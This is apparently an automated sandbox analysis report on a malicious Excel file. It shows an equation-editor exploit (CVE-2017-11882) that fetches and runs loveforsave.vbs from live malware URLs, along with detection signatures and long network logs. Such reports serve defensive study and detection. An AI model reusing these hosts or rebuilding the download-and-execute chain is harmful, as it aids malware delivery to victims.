Edit tour

Windows Analysis Report
Product list 0980DF098A7.xls

Overview

General Information

Sample name:	Product list 0980DF098A7.xls
Analysis ID:	1392858
MD5:	0b0091320ed8b50b7f3f514536c8eddc
SHA1:	0d8c09b2e0331a93d645d67127ac86667a7aaf4e
SHA256:	baaffc0dd02ab5ab2da660fcb54c8ddfeaf0f1b26e30738f0e55d31f3fce938f
Tags:	xls
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Microsoft Office launches external ms-search protocol handler (WebDAV)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System process connects to network (likely due to code injection or exploit)

Connects to a pastebin service (likely for C&C)

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Microsoft Office drops suspicious files

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office viewer loads remote template

Shellcode detected

Sigma detected: Equation Editor Network Connection

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Found WSH timer for Javascript or VBS script (likely evasive script)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sigma detected: Excel Network Connections

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 172 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

WINWORD.EXE (PID: 1596 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3372 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

wscript.exe (PID: 3440 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A)

AcroRd32.exe (PID: 3740 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817)

RdrCEF.exe (PID: 4044 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043 MD5: 326A645391A97C760B60C558A35BB068)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5290082.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x162f:$obj2: \objdata 0x1617:$obj3: \objupdate 0x15f3:$obj6: \objlink
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x162f:$obj2: \objdata 0x1617:$obj3: \objupdate 0x15f3:$obj6: \objlink

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 107.175.202.154, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3372, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49168

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3372, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\loveforsave[1].vbs

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49168, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3372, Protocol: tcp, SourceIp: 107.175.202.154, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 104.21.84.67, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 3440, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49169

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 172, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , ProcessId: 3440, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 172, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , ProcessId: 3440, ProcessName: wscript.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 107.175.202.154, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 172, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49162

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 104.21.84.67, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 3440, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49169

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49162, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 172, Protocol: tcp, SourceIp: 107.175.202.154, SourceIsIpv6: false, SourcePort: 80

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 172, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs" , ProcessId: 3440, ProcessName: wscript.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 172, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 1596, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://107.175.202.154/rmc/beautifulpeop	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnolog	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/46900/loveforsave.vbsppC:	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/46900/loveforsave.vbsalt	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/46900/loveforsave.vbs$	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/46900/loveforsave.vbs	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/rmc/	Avira URL Cloud: Label: malware
Source: http://107.175.202.154/46900/loveforsave.vbsj	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc	Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{9884DA1E-FD29-4340-AB77-A6BEF9386CEC}.tmp	Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5290082.doc	Avira: detection malicious, Label: HEUR/Rtf.Malformed

Multi AV Scanner detection for domain / URL

Source: http://107.175.202.154/rmc/beautifulpeop

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for submitted file

Source: Product list 0980DF098A7.xls

Virustotal: Detection: 18%

Perma Link

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 107.175.202.154 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_03420567 LoadLibraryW,	10_2_03420567
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_034205EC URLDownloadToFileW,ShellExecuteW,ExitProcess,	10_2_034205EC
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_0342061A ShellExecuteW,ExitProcess,	10_2_0342061A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_03420605 ShellExecuteW,ExitProcess,	10_2_03420605
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_034204B0 ExitProcess,	10_2_034204B0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_0342063F ExitProcess,	10_2_0342063F

Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: paste.ee

Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.84.67:80

Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.84.67:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 104.21.84.67:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.84.67:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.84.67:80
Source: global traffic	TCP traffic: 104.21.84.67:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
